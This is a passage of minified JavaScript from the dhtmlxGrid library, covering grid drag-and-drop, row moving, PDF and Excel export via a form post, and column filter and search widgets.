this.sobj._h2.get[this.sid]._xml_await?this.sobj._h2.get[this.sid].has_kids:null}return null};dragContext.prototype.pid=function(){if(!this.tid){return 0}if(!this.tobj._h2){return 0}if(this.target==\"treeGrid\"){if(this.dropmode==\"child\"){return this.tid}else{var c=this.tobj.rowsAr[this.tid];var a=this.tobj._h2.get[c.idd].parent.id;if((this.alfa)&&(this.tobj._sbmod)&&(c.nextSibling)){var e=this.tobj._h2.get[c.nextSibling.idd].parent.id;if(e==this.tid){return this.tid}if(e!=a){return e}}return a}}};dragContext.prototype.ind=function(){if(this.tid==window.unknown){return this.tobj.rowsBuffer.length}if(this.target==\"treeGrid\"){if(this.dropmode==\"child\"){this.tobj.openItem(this.tid)}else{this.tobj.openItem(this.tobj.getParentId(this.tid))}}var a=this.tobj.rowsBuffer._dhx_find(this.tobj.rowsAr[this.tid]);if((this.alfa)&&(this.tobj._sbmod)&&(this.dropmode==\"sibling\")){var c=this.tobj.rowsAr[this.tid];if((c.nextSibling)&&(this._h2.get[c.nextSibling.idd].parent.id==this.tid)){return a+1}}return(a+1+((this.target==\"treeGrid\"&&a>=0&&this.tobj._h2.get[this.tobj.rowsBuffer[a].idd].state==\"minus\")?this.tobj._getOpenLenght(this.tobj.rowsBuffer[a].idd,0):0))};dragContext.prototype.img=function(){if((this.target!=\"grid\")&&(this.sobj._h2)){return this.sobj.getItemImage(this.sid)}else{return null}};dragContext.prototype.slist=function(){var c=new Array();for(var a=0;a<this.sid.length;a++){c[c.length]=this.sid[a][(this.source==\"tree\")?\"id\":\"idd\"]}return c.join(\",\")};dhtmlXGridObject.prototype._drag=function(r,h,q,s){if(this._realfake){return this._fake._drag()}var o=(this.lastLanding);if(this._autoOpenTimer){window.clearTimeout(this._autoOpenTimer)}var g=q.parentNode;var e=r.parentObject;if(!g.idd){g.grid=this;this.dadmodefix=0}var n=new dragContext(0,0,0,((g.grid.dadmode==1||g.grid.dadmodec)?\"sibling\":\"child\"));if(e&&e.childNodes){n.set(\"source\",\"tree\").set(\"sobj\",e.treeNod).set(\"sid\",n.sobj._dragged)}else{if(!e){return true}if(e.treeNod.isTreeGrid&&e.treeNod.isTreeGrid()){n.set(\"source\",\"treeGrid\")}n.set(\"sobj\",e.treeNod).set(\"sid\",n.sobj._dragged)}if(g.grid.isTreeGrid()){n.set(\"target\",\"treeGrid\")}else{n.set(\"dropmode\",\"sibling\")}n.set(\"tobj\",g.grid).set(\"tid\",g.idd);if(((n.tobj.dadmode==2)&&(n.tobj.dadmodec==1))&&(n.tobj.dadmodefix<0)){if(n.tobj.obj.rows[1].idd!=n.tid){n.tid=g.previousSibling.idd}else{n.tid=0}}var a=this.getFirstParentOfType(s,\"TD\");if(a){n.set(\"tExtra\",a._cellIndex)}if(a){n.set(\"sExtra\",n.sobj._dndExtra)}if(n.sobj.dpcpy){n.set(\"mode\",\"copy\")}if(n.tobj._realfake){n.tobj=n.tobj._fake}if(n.sobj._realfake){n.sobj=n.sobj._fake}n.tobj._clearMove();if(e&&e.treeNod&&e.treeNod._nonTrivialRow){e.treeNod._nonTrivialRow(this,n.tid,n.dropmode,e)}else{n.tobj.dragContext=n;if(!n.tobj.callEvent(\"onDrag\",[n.slist(),n.tid,n.sobj,n.tobj,n.sExtra,n.tExtra])){return n.tobj.dragContext=null}var u=new Array();if(typeof(n.sid)==\"object\"){var m=n.copy();for(var l=0;l<n.sid.length;l++){if(!m.set(\"alfa\",(!l)).set(\"sid\",n.sid[l][(n.source==\"tree\"?\"id\":\"idd\")]).valid()){continue}m.tobj._dragRoutine(m);if(m.target==\"treeGrid\"&&m.dropmode==\"child\"){m.tobj.openItem(m.tid)}u[u.length]=m.nid;m.set(\"dropmode\",\"sibling\").set(\"tid\",m.nid)}m.close()}else{n.tobj._dragRoutine(n)}if(n.tobj.laterLink){n.tobj.laterLink()}n.tobj.callEvent(\"onDrop\",[n.slist(),n.tid,u.join(\",\"),n.sobj,n.tobj,n.sExtra,n.tExtra])}n.tobj.dragContext=null;n.close()};dhtmlXGridObject.prototype._dragRoutine=function(r){if((r.sobj==r.tobj)&&(r.source==\"grid\")&&(r.mode==\"move\")&&!this._fake){if(r.sobj._dndProblematic){return}var o=r.sobj.rowsAr[r.sid];var q=r.sobj.rowsCol._dhx_find(o);r.sobj.rowsCol._dhx_removeAt(r.sobj.rowsCol._dhx_find(o));r.sobj.rowsBuffer._dhx_removeAt(r.sobj.rowsBuffer._dhx_find(o));r.sobj.rowsBuffer._dhx_insertAt(r.ind(),o);if(r.tobj._fake){r.tobj._fake.rowsCol._dhx_removeAt(q);var s=r.tobj._fake.rowsAr[r.sid];s.parentNode.removeChild(s)}r.sobj._insertRowAt(o,r.ind());r.nid=r.sid;r.sobj.callEvent(\"onGridReconstructed\",[]);return}var n;if(this._h2&&typeof r.tid!=\"undefined\"&&r.dropmode==\"sibling\"&&(this._sbmod||r.tid)){if(r.alfa&&this._sbmod&&this._h2.get[r.tid].childs.length){this.openItem(r.tid);n=r.uid().tobj.addRowBefore(r.nid,r.data(),this._h2.get[r.tid].childs[0].id,r.img(),r.childs())}else{n=r.uid().tobj.addRowAfter(r.nid,r.data(),r.tid,r.img(),r.childs())}}else{n=r.uid().tobj.addRow(r.nid,r.data(),r.ind(),r.pid(),r.img(),r.childs())}n._attrs=r.attrs();if(r.source==\"tree\"){this.callEvent(\"onRowAdded\",[r.nid]);var a=r.sobj._globalIdStorageFind(r.sid);if(a.childsCount){var m=r.copy().set(\"tid\",r.nid).set(\"dropmode\",r.target==\"grid\"?\"sibling\":\"child\");for(var g=0;g<a.childsCount;g++){r.tobj._dragRoutine(m.set(\"sid\",a.childNodes[g].id));if(r.mode==\"move\"){g--}}m.close()}}else{r.tobj._copyUserData(r);this.callEvent(\"onRowAdded\",[r.nid]);if((r.source==\"treeGrid\")){if(r.sobj==r.tobj){n._xml=r.sobj.rowsAr[r.sid]._xml}var h=r.sobj._h2.get[r.sid];if((h)&&(h.childs.length)){var m=r.copy().set(\"tid\",r.nid);if(r.target==\"grid\"){m.set(\"dropmode\",\"sibling\")}else{if(!m.tobj.kidsXmlFile){m.tobj.openItem(r.tid)}m.set(\"dropmode\",\"child\")}var e=h.childs.length;if(!m.tobj.kidsXmlFile){for(var g=0;g<e;g++){r.sobj.render_row_tree(null,h.childs[g].id);r.tobj._dragRoutine(m.set(\"sid\",h.childs[g].id));if(e!=h.childs.length){g--;e=h.childs.length}}}m.close()}}}if(r.mode==\"move\"){r.sobj[(r.source==\"tree\")?\"deleteItem\":\"deleteRow\"](r.sid);if((r.sobj==r.tobj)&&(!r.tobj.rowsAr[r.sid])){r.tobj.changeRowId(r.nid,r.sid);r.nid=r.sid}}};dhtmlXGridObject.prototype.gridToGrid=function(g,a,e){var h=new Array();for(var c=0;c<a.hdr.rows[0].cells.length;c++){h[c]=a.cells(g,c).getValue()}return h};dhtmlXGridObject.prototype.checkParentLine=function(a,c){if((!this._h2)||(!c)||(!a)){return false}if(a.id==c){return true}else{return this.checkParentLine(a.parent,c)}};dhtmlXGridObject.prototype._dragIn=function(l,g,c,m){if(!this.dADTempOff){return 0}var a=this.isTreeGrid();var h=g.parentNode.idd?g.parentNode:g.parentObject;if(this._drag_validate){if(l.parentNode==g.parentNode){return 0}if((a)&&(this==h.grid)&&((this.checkParentLine(this._h2.get[l.parentNode.idd],g.parentNode.idd)))){return 0}}if(!this.callEvent(\"onDragIn\",[h.idd||h.id,l.parentNode.idd,h.grid||h.treeNod,(l.grid||l.parentNode.grid)])){return this._setMove(l,c,m,true)}this._setMove(l,c,m);if((a)&&(l.parentNode.expand!=\"\")){var e=this;this._autoOpenTimer=window.setTimeout(function(){e._autoOpenItem(null,e);e=null},1000);this._autoOpenId=l.parentNode.idd}else{if(this._autoOpenTimer){window.clearTimeout(this._autoOpenTimer)}}return l};dhtmlXGridObject.prototype._autoOpenItem=function(a,c){c.openItem(c._autoOpenId)};dhtmlXGridObject.prototype._dragOut=function(c){this._clearMove();var a=c.parentNode.parentObject?c.parentObject.id:c.parentNode.idd;this.callEvent(\"onDragOut\",[a]);if(this._autoOpenTimer){window.clearTimeout(this._autoOpenTimer)}};dhtmlXGridObject.prototype._setMove=function(l,c,n,h){if(!l.parentNode.idd){return}var e=dhx4.absTop(l);var a=dhx4.absTop(this.objBox);if((e-a)>(parseInt(this.objBox.offsetHeight)-50)){this.objBox.scrollTop=parseInt(this.objBox.scrollTop)+20}if((e-a+parseInt(this.objBox.scrollTop))<(parseInt(this.objBox.scrollTop)+30)){this.objBox.scrollTop=parseInt(this.objBox.scrollTop)-20}if(h){return 0}if(this.dadmode==2){var m=n-e+(document.body.scrollTop||document.documentElement.scrollTop)-2-l.offsetHeight/2;if((Math.abs(m)-l.offsetHeight/6)>0){this.dadmodec=1;if(m<0){this.dadmodefix=-1}else{this.dadmodefix=1}}else{this.dadmodec=0}}else{this.dadmodec=this.dadmode}if(this.dadmodec){if(!this._sdrgc){this._createSdrgc()}this._sdrgc.style.display=\"block\";this._sdrgc.style.top=e-a+parseInt(this.objBox.scrollTop)+((this.dadmodefix>=0)?l.offsetHeight:0)+\"px\"}else{this._llSelD=l;if(l.parentNode.tagName==\"TR\"){for(var g=0;g<l.parentNode.childNodes.length;g++){var m=l.parentNode.childNodes[g];m._bgCol=m.style.backgroundColor;m.style.backgroundColor=\"#FFCCCC\"}}}};dhtmlXGridObject.prototype._clearMove=function(){if(this._sdrgc){this._sdrgc.style.display=\"none\"}if((this._llSelD)&&(this._llSelD.parentNode.tagName==\"TR\")){var c=this._llSelD.parentNode.childNodes;for(var a=0;a<c.length;a++){c[a].style.backgroundColor=c[a]._bgCol}}this._llSelD=null};dhtmlXGridObject.prototype.rowToDragElement=function(a){var c=this.cells(a,0).getValue();return c};dhtmlXGridObject.prototype._copyUserData=function(g){if(!g.tobj.UserData[g.nid]||g.tobj!=g.sobj){g.tobj.UserData[g.nid]=new Hashtable()}else{return}var e=g.sobj.UserData[g.sid];var a=g.tobj.UserData[g.nid];if(e){a.keys=a.keys.concat(e.keys);a.values=a.values.concat(e.values)}};dhtmlXGridObject.prototype.moveRow=function(e,g,a,c){switch(g){case\"row_sibling\":this.moveRowTo(e,a,\"move\",\"sibling\",this,c);break;case\"up\":this.moveRowUp(e);break;case\"down\":this.moveRowDown(e);break}};dhtmlXGridObject.prototype._nonTrivialNode=function(r,q,m,n,e){if((r.callEvent)&&(!e)){if(!r.callEvent(\"onDrag\",[n.idd,q.id,(m?m.id:null),this,r])){return false}}var o=n.idd;var a=o;while(r._idpull[a]){a+=(new Date()).getMilliseconds().toString()}var h=(this.isTreeGrid()?this.getItemImage(o):\"\");if(m){for(g=0;g<q.childsCount;g++){if(q.childNodes[g]==m){break}}if(g!=0){m=q.childNodes[g-1]}else{st=\"TOP\";m=\"\"}}var c=r._attachChildNode(q,a,this.gridToTreeElement(r,a,o),\"\",h,h,h,\"\",\"\",m);if(this._h2){var l=this._h2.get[o];if(l.childs.length){for(var g=0;g<l.childs.length;g++){this._nonTrivialNode(r,c,0,this.rowsAr[l.childs[g].id],1);if(!this.dpcpy){g--}}}}if(!this.dpcpy){this.deleteRow(o)}if((r.callEvent)&&(!e)){r.callEvent(\"onDrop\",[a,q.id,(m?m.id:null),this,r])}};dhtmlXGridObject.prototype.gridToTreeElement=function(c,e,a){return this.cells(a,0).getValue()};dhtmlXGridObject.prototype.treeToGridElement=function(g,h,a){var c=new Array();var l=this.cellType._dhx_find(\"tree\");if(l==-1){l=0}for(var e=0;e<this.getColumnCount();e++){c[c.length]=(e!=l)?(g.getUserData(h,this.getColumnId(e))||\"\"):g.getItemText(h)}return c};dhtmlXGridObject.prototype.moveRowTo=function(g,e,m,l,a,h){var n=new dragContext((a||this).isTreeGrid()?\"treeGrid\":\"grid\",(h||this).isTreeGrid()?\"treeGrid\":\"grid\",m,l||\"sibling\",g,e,a||this,h||this);n.tobj._dragRoutine(n);n.close();return n.nid};dhtmlXGridObject.prototype.enableMercyDrag=function(a){this.dpcpy=dhx4.s2b(a)};dhtmlXGridObject.prototype.toPDF=function(g,q,v,s,n,A){var h={row:this.getSelectedRowId(),col:this.getSelectedCellIndex()};if(h.row===null||h.col===-1){h=false}else{if(h.row&&h.row.indexOf(this.delim)!==-1){var c=this.cells(h.row,h.col).cell;c.parentNode.className=c.parentNode.className.replace(\" rowselected\",\"\");c.className=c.className.replace(\" cellselected\",\"\");h.el=c}else{h=false}}q=q||\"color\";var w=q==\"full_color\";var a=this;a._asCDATA=true;if(typeof(A)===\"undefined\"){this.target=' target=\"_blank\"'}else{this.target=A}eXcell_ch.prototype.getContent=function(){return this.getValue()};eXcell_ra.prototype.getContent=function(){return this.getValue()};function y(E){var L=[];for(var J=1;J<a.hdr.rows.length;J++){L[J]=[];for(var I=0;I<a._cCount;I++){var N=a.hdr.rows[J].childNodes[I];if(!L[J][I]){L[J][I]=[0,0]}if(N){L[J][N._cellIndexS]=[N.colSpan,N.rowSpan]}}}var K=\"<rows profile='\"+E+\"'\";if(v){K+=\" header='\"+v+\"'\"}if(s){K+=\" footer='\"+s+\"'\"}K+=\"><head>\"+a._serialiseExportConfig(L).replace(/^<head/,\"<columns\").replace(/head>$/,\"columns>\");for(var J=2;J<a.hdr.rows.length;J++){var C=0;var Q=a.hdr.rows[J];var M=\"\";for(var I=0;I<a._cCount;I++){if((a._srClmn&&!a._srClmn[I])||(a._hrrar[I]&&(!a._fake||I>=a._fake.hdrLabels.length))){C++;continue}var P=L[J][I];var O=((P[0]&&P[0]>1)?' colspan=\"'+P[0]+'\" ':\"\");if(P[1]&&P[1]>1){O+=' rowspan=\"'+P[1]+'\" ';C=-1}var D=\"\";var H=Q;if(a._fake&&I<a._fake._cCount){H=a._fake.hdr.rows[J]}for(var F=0;F<H.cells.length;F++){if(H.cells[F]._cellIndexS==I){if(H.cells[F].getElementsByTagName(\"SELECT\").length){D=\"\"}else{D=_isIE?H.cells[F].innerText:H.cells[F].textContent}D=D.replace(/[ \\n\\r\\t\\xA0]+/,\" \");break}}if(!D||D==\" \"){C++}M+=\"<column\"+O+\"><![CDATA[\"+D+\"]]></column>\"}if(C!=a._cCount){K+=\"\\n<columns>\"+M+\"</columns>\"}}K+=\"</head>\\n\";K+=o();return K}function e(){var C=[];if(n){for(var D=0;D<n.length;D++){C.push(u(a.getRowIndex(n[D])))}}else{for(var D=0;D<a.getRowsNum();D++){C.push(u(D))}}return C.join(\"\\n\")}function o(){var E=[\"<foot>\"];if(!a.ftr){return\"\"}for(var F=1;F<a.ftr.rows.length;F++){E.push(\"<columns>\");var J=a.ftr.rows[F];for(var D=0;D<a._cCount;D++){if(a._srClmn&&!a._srClmn[D]){continue}if(a._hrrar[D]&&(!a._fake||D>=a._fake.hdrLabels.length)){continue}for(var C=0;C<J.cells.length;C++){var I=\"\";var H=\"\";if(J.cells[C]._cellIndexS==D){I=_isIE?J.cells[C].innerText:J.cells[C].textContent;I=I.replace(/[ \\n\\r\\t\\xA0]+/,\" \");if(J.cells[C].colSpan&&J.cells[C].colSpan!=1){H=\" colspan='\"+J.cells[C].colSpan+\"' \"}if(J.cells[C].rowSpan&&J.cells[C].rowSpan!=1){H=\" rowspan='\"+J.cells[C].rowSpan+\"' \"}break}}E.push(\"<column\"+H+\"><![CDATA[\"+I+\"]]></column>\")}E.push(\"</columns>\")}E.push(\"</foot>\");return E.join(\"\\n\")}function m(D,C){return(window.getComputedStyle?(window.getComputedStyle(D,null)[C]):(D.currentStyle?D.currentStyle[C]:null))||\"\"}function u(F){if(!a.rowsBuffer[F]){return\"\"}var C=a.render_row(F);if(C.style.display==\"none\"){return\"\"}var D=a.isTreeGrid()?' level=\"'+a.getLevel(C.idd)+'\"':\"\";var K=\"<row\"+D+\">\";for(var I=0;I<a._cCount;I++){if(((!a._srClmn)||(a._srClmn[I]))&&(!a._hrrar[I]||(a._fake&&I<a._fake.hdrLabels.length))){var O=a.cells(C.idd,I);if(w){var H=m(O.cell,\"color\");var N=m(O.cell,\"backgroundColor\");var M=m(O.cell,\"font-weight\")||m(O.cell,\"fontWeight\");var J=m(O.cell,\"font-style\")||m(O.cell,\"fontStyle\");var L=m(O.cell,\"text-align\")||m(O.cell,\"textAlign\");var E=m(O.cell,\"font-family\")||m(O.cell,\"fontFamily\");if(N==\"transparent\"||N==\"rgba(0, 0, 0, 0)\"){N=\"rgb(255,255,255)\"}K+=\"<cell bgColor='\"+N+\"' textColor='\"+H+\"' bold='\"+M+\"' italic='\"+J+\"' align='\"+L+\"' font='\"+E+\"'>\"}else{K+=\"<cell>\"}K+=\"<![CDATA[\"+(O.getContent?O.getContent():O.getTitle())+\"]]></cell>\"}}return K+\"</row>\"}function r(){var C=\"</rows>\";return C}var x=document.createElement(\"div\");x.style.display=\"none\";document.body.appendChild(x);var l=\"form_\"+a.uid();x.innerHTML='<form id=\"'+l+'\" method=\"post\" action=\"'+g+'\" accept-charset=\"utf-8\"  enctype=\"application/x-www-form-urlencoded\"'+this.target+'><input type=\"hidden\" name=\"grid_xml\" id=\"grid_xml\"/> </form>';document.getElementById(l).firstChild.value=encodeURIComponent(y(q).replace(\"\\u2013\",\"-\")+e()+r());document.getElementById(l).submit();x.parentNode.removeChild(x);a=null;if(h){h.el.parentNode.className+=\" rowselected\";h.el.className+=\" cellselected\"}h=null};dhtmlXGridObject.prototype._serialiseExportConfig=function(l){function h(q){if(typeof(q)!==\"string\"){return q}q=q.replace(/&/g,\"&amp;\");q=q.replace(/\"/g,\"&quot;\");q=q.replace(/'/g,\"&apos;\");q=q.replace(/</g,\"&lt;\");q=q.replace(/>/g,\"&gt;\");return q}var c=\"<head>\";for(var e=0;e<this.hdr.rows[0].cells.length;e++){if(this._srClmn&&!this._srClmn[e]){continue}if(this._hrrar[e]&&(!this._fake||e>=this._fake.hdrLabels.length)){continue}var g=this.fldSort[e];if(g==\"cus\"){g=this._customSorts[e].toString();g=g.replace(/function[\\ ]*/,\"\").replace(/\\([^\\f]*/,\"\")}var o=l[1][e];var m=((o[1]&&o[1]>1)?' rowspan=\"'+o[1]+'\" ':\"\")+((o[0]&&o[0]>1)?' colspan=\"'+o[0]+'\" ':\"\");c+=\"<column \"+m+\" width='\"+this.getColWidth(e)+\"' align='\"+this.cellAlign[e]+\"' type='\"+this.cellType[e]+\"' hidden='\"+((this.isColumnHidden&&this.isColumnHidden(e))?\"true\":\"false\")+\"' sort='\"+(g||\"na\")+\"' color='\"+(this.columnColor[e]||\"\")+\"'\"+(this.columnIds[e]?(\" id='\"+this.columnIds[e]+\"'\"):\"\")+\">\";if(this._asCDATA){c+=\"<![CDATA[\"+this.getColumnLabel(e)+\"]]>\"}else{c+=this.getColumnLabel(e)}var n=this.combos[e]?this.getCombo(e):null;if(n){for(var a=0;a<n.keys.length;a++){c+=\"<option value='\"+h(n.keys[a])+\"'><![CDATA[\"+n.values[a]+\"]]></option>\"}}c+=\"</column>\"}return c+=\"</head>\"};if(window.eXcell_sub_row_grid){window.eXcell_sub_row_grid.prototype.getContent=function(){return\"\"}}dhtmlXGridObject.prototype.toExcel=function(a,g,m,l,c){if(!document.getElementById(\"ifr\")){var h=document.createElement(\"iframe\");h.style.display=\"none\";h.setAttribute(\"name\",\"dhx_export_iframe\");h.setAttribute(\"src\",\"\");h.setAttribute(\"id\",\"dhx_export_iframe\");document.body.appendChild(h)}var e=' target=\"dhx_export_iframe\"';this.toPDF(a,g,m,l,c,e)};dhtmlXGridObject.prototype.filterBy=function(e,g,c){if(this.isTreeGrid()){return this.filterTreeBy(e,g,c)}if(this._f_rowsBuffer){if(!c){this.rowsBuffer=dhtmlxArray([].concat(this._f_rowsBuffer));if(this._fake){this._fake.rowsBuffer=this.rowsBuffer}}}else{this._f_rowsBuffer=[].concat(this.rowsBuffer)}if(!this.rowsBuffer.length){return}var h=true;this.dma(true);if(typeof(e)==\"object\"){for(var a=0;a<g.length;a++){this._filterA(e[a],g[a])}}else{this._filterA(e,g)}this.dma(false);if(this.pagingOn&&this.rowsBuffer.length/this.rowsBufferOutSize<(this.currentPage-1)){this.changePage(0)}this._reset_view();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._filterA=function(c,e){if(e==\"\"){return}var g=true;if(typeof(e)==\"function\"){g=false}else{e=(e||\"\").toString().toLowerCase()}if(!this.rowsBuffer.length){return}for(var a=this.rowsBuffer.length-1;a>=0;a--){if(g?(this._get_cell_value(this.rowsBuffer[a],c).toString().toLowerCase().indexOf(e)==-1):(!e.call(this,this._get_cell_value(this.rowsBuffer[a],c),this.rowsBuffer[a].idd))){this.rowsBuffer.splice(a,1)}}};dhtmlXGridObject.prototype.getFilterElement=function(a){if(!this.filters){return}for(var c=0;c<this.filters.length;c++){if(this.filters[c][1]==a){return(this.filters[c][0].combo||this.filters[c][0])}}return null};dhtmlXGridObject.prototype.collectValues=function(g){var s=this.dhxevs.data.oncollectvalues;if(s){var q=true;for(var r in s){var u=s[r].call(this,g);if(u!==true){q=u||q}}if(q!==true){return q}}if(this.isTreeGrid()){return this.collectTreeValues(g)}this.dma(true);this._build_m_order();g=this._m_order?this._m_order[g]:g;var n={};var l=[];var e=this._f_rowsBuffer||this.rowsBuffer;for(var h=0;h<e.length;h++){var a=this._get_cell_value(e[h],g);if(a&&(!e[h]._childIndexes||e[h]._childIndexes[g]!=e[h]._childIndexes[g-1])){n[a]=true}}this.dma(false);var o=(this.combos[g]||(this._col_combos?this._col_combos[g]:false));for(var m in n){if(n[m]===true){if(o){if(o.get&&o.get(m)){m=o.get(m)}else{if(o.getOption&&o.getOption(m)){m=o.getOption(m).text}}}l.push(m)}}return l.sort()};dhtmlXGridObject.prototype._build_m_order=function(){if(this._c_order){this._m_order=[];for(var a=0;a<this._c_order.length;a++){this._m_order[this._c_order[a]]=a}}};dhtmlXGridObject.prototype.filterByAll=function(){var e=[];var c=[];this._build_m_order();for(var g=0;g<this.filters.length;g++){var l=this._m_order?this._m_order[this.filters[g][1]]:this.filters[g][1];if(l>=this._cCount){continue}c.push(l);var m=this.filters[g][0].old_value=this.filters[g][0].value;if(this.filters[g][0]._filter){m=this.filters[g][0]._filter()}var h;if(typeof m!=\"function\"&&(h=(this.combos[l]||(this._col_combos?this._col_combos[l]:false)))){if(h.values){l=h.values._dhx_find(m);m=(l==-1)?m:h.keys[l]}else{if(h.getOptionByLabel){m=(h.getOptionByLabel(m)?h.getOptionByLabel(m).value:m)}}}e.push(m)}if(!this.callEvent(\"onFilterStart\",[c,e])){return}this.filterBy(c,e);if(this._cssEven){this._fixAlterCss()}this.callEvent(\"onFilterEnd\",[this.filters]);if(this._f_rowsBuffer&&this.rowsBuffer.length==this._f_rowsBuffer.length){this._f_rowsBuffer=null}};dhtmlXGridObject.prototype.makeFilter=function(h,e,c){if(!this.filters){this.filters=[]}if(typeof(h)!=\"object\"){h=document.getElementById(h)}if(!h){return}var a=this;if(!h.style.width){h.style.width=\"90%\"}if(h.tagName==\"SELECT\"){this.filters.push([h,e]);this._loadSelectOptins(h,e);h.onchange=function(){a.filterByAll()};if(_isIE){h.style.marginTop=\"1px\"}this.attachEvent(\"onEditCell\",function(m,l,n){this._build_m_order();if(m==2&&this.filters&&(this._m_order?(n==this._m_order[e]):(n==e))){this._loadSelectOptins(h,e)}return true})}else{if(h.tagName==\"INPUT\"){this.filters.push([h,e]);h.old_value=h.value=\"\";h.onkeydown=function(){if(this._timer){window.clearTimeout(this._timer)}this._timer=window.setTimeout(function(){if(h.value!=h.old_value){a.filterByAll();h.old_value=h.value}},500)}}else{if(h.tagName==\"DIV\"){this.filters.push([h,e]);h.style.padding=\"0px\";h.style.margin=\"0px\";if(!window.dhx_globalImgPath){window.dhx_globalImgPath=this.imgURL}var g=new dhtmlXCombo(h,\"_filter\",\"90%\");g.filterSelfA=g.filterSelf;g.filterSelf=function(){if(this.getSelectedIndex()==0){this.setComboText(\"\")}this.filterSelfA.apply(this,arguments);this.optionsArr[0].hide(false)};g.enableFilteringMode(true);h.combo=g;h.value=\"\";this._loadComboOptins(h,e);g.attachEvent(\"onChange\",function(){h.value=g.getSelectedValue();if(h.value===null){h.value=\"\"}a.filterByAll()})}}}if(h.parentNode){h.parentNode.className+=\" filter\"}this._filters_ready()};dhtmlXGridObject.prototype.findCell=function(l,m,g,h){var h=h||(function(o,n){return n.toString().toLowerCase().indexOf(o)!=-1});if(h===true){h=function(o,n){return n.toString().toLowerCase()==o}}var e=new Array();l=l.toString().toLowerCase();if(typeof g!=\"number\"){g=g?1:0}if(!this.rowsBuffer.length){return e}for(var c=(m||0);c<this._cCount;c++){if(this._h2){this._h2.forEachChild(0,function(n){if(g&&e.length==g){return e}if(h(l,this._get_cell_value(n.buff,c))){e.push([n.id,c])}},this)}else{for(var a=0;a<this.rowsBuffer.length;a++){if(h(l,this._get_cell_value(this.rowsBuffer[a],c))){e.push([this.rowsBuffer[a].idd,c]);if(g&&e.length==g){return e}}}}if(typeof(m)!=\"undefined\"){return e}}return e};dhtmlXGridObject.prototype.makeSearch=function(g,e,a){if(typeof(g)!=\"object\"){g=document.getElementById(g)}if(!g){return}var c=this;if(g.tagName==\"INPUT\"){g.onkeypress=function(){if(this._timer){window.clearTimeout(this._timer)}this._timer=window.setTimeout(function(){if(g.value==\"\"){return}var h=c.findCell(g.value,e,true,a);if(h.length){if(c._h2){c.openItem(h[0][0])}c.selectCell(c.getRowIndex(h[0][0]),(e||0))}},500)}}if(g.parentNode){g.parentNode.className+=\" filter\"}};dhtmlXGridObject.prototype._loadSelectOptins=function(h,n){var a=this.collectValues(n);var e=h.value;h.innerHTML=\"\";h.options[0]=new Option(\"\",\"\");var m=this._filter_tr?this._filter_tr[n]:null;for(var g=0;g<a.length;g++){h.options[h.options.length]=new Option(m?m(a[g]):a[g],a[g])}h.value=e};dhtmlXGridObject.prototype.setSelectFilterLabel=function(c,a){if(!this._filter_tr){this._filter_tr=[]}this._filter_tr[c]=a};dhtmlXGridObject.prototype._loadComboOptins=function(g,m){if(!g.combo){return}var a=this.collectValues(m);g.combo.clearAll();var h=[[\"\",\"\"]];for(var e=0;e<a.length;e++){h.push([a[e],a[e]])}g.combo.addOption(h)};dhtmlXGridObject.prototype.refreshFilters=function(){if(!this.filters){return}for(var a=0;a<this.filters.length;a++){switch(this.filters[a][0].tagName.toLowerCase()){case\"input\":break;case\"select\":this._loadSelectOptins.apply(this,this.filters[a]);break;case\"div\":this._loadComboOptins.apply(this,this.filters[a]);break}}};dhtmlXGridObject.prototype._filters_ready=function(c,a){this.attachEvent(\"onXLE\",this.refreshFilters);this.attachEvent(\"onRowCreated\",function(h,g){if(this._f_rowsBuffer){for(var e=0;e<this._f_rowsBuffer.length;e++){if(this._f_rowsBuffer[e].idd==h){return this._f_rowsBuffer[e]=g}}}});this.attachEvent(\"onClearAll\",function(){this._f_rowsBuffer=null;if(!this.hdr.rows.length){this.filters=[]}});this.attachEvent(\"onSetSizes\",this._filters_resize_combo);this.attachEvent(\"onResize\",this._filters_resize_combo);this._filters_ready=function(){}};dhtmlXGridObject.prototype._filters_resize_combo=function(){if(!this.filters){return}for(var a=0;a<this.filters.length;a++){if(this.filters[a][0].combo!=null){this.filters[a][0].combo.setSize(Math.round(this.filters[a][0].offsetWidth*90/100))}}return true};dhtmlXGridObject.prototype._in_header_text_filter=function(c,a){c.innerHTML=\"<input type='text'>\";c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};c.onselectstart=function(){return(event.cancelBubble=true)};this.makeFilter(c.firstChild,a)};dhtmlXGridObject.prototype._in_header_text_filter_inc=function(c,a){c.innerHTML=\"<input type='text'>\";c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};c.onselectstart=function(){return(event.cancelBubble=true)};this.makeFilter(c.firstChild,a);c.firstChild._filter=function(){if(c.firstChild.value==\"\"){return\"\"}return function(e){return(e.toString().toLowerCase().indexOf(c.firstChild.value.toLowerCase())==0)}};this._filters_ready()};dhtmlXGridObject.prototype._in_header_select_filter=function(c,a){c.innerHTML=\"<select></select>\";c.onclick=function(g){(g||event).cancelBubble=true;return false};this.makeFilter(c.firstChild,a)};dhtmlXGridObject.prototype._in_header_select_filter_strict=function(e,c){e.innerHTML=\"<select style='width:90%; font-size:8pt; font-family:Tahoma;'></select>\";e.onclick=function(g){(g||event).cancelBubble=true;return false};this.makeFilter(e.firstChild,c);var a=this.combos;e.firstChild._filter=function(){var g=e.firstChild.value;if(!g){return\"\"}if(a[c]){g=a[c].keys[a[c].values._dhx_find(g)]}g=g.toLowerCase();return function(h){return(h.toString().toLowerCase()==g)}};this._filters_ready()};dhtmlXGridObject.prototype._in_header_combo_filter=function(c,a){c.innerHTML=\"<div style='width:100%; padding-left:2px; overflow:hidden; ' class='combo'></div>\";c.onselectstart=function(){return(event.cancelBubble=true)};c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};this.makeFilter(c.firstChild,a)};dhtmlXGridObject.prototype._search_common=function(c,a){c.innerHTML=\"<input type='text' style='width:90%; '>\";c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};c.onselectstart=function(){return(event.cancelBubble=true)}};dhtmlXGridObject.prototype._in_header_text_search=function(e,c,a){this._search_common(e,c);this.makeSearch(e.firstChild,c)};dhtmlXGridObject.prototype._in_header_text_search_strict=function(c,a){this._search_common(c,a);this.makeSearch(c.firstChild,a,true)};dhtmlXGridObject.prototype._in_header_numeric_filter=function(c,a){this._in_header_text_filter.call(this,c,a);c.firstChild._filter=function(){var e=this.value;var h;var m=\"==\";var g=parseFloat(e.replace(\"=\",\"\"));var l=null;if(e){if(e.indexOf(\"..\")!=-1){e=e.split(\"..\");g=parseFloat(e[0]);l=parseFloat(e[1]);return function(n){if(n>=g&&n<=l){return true}return 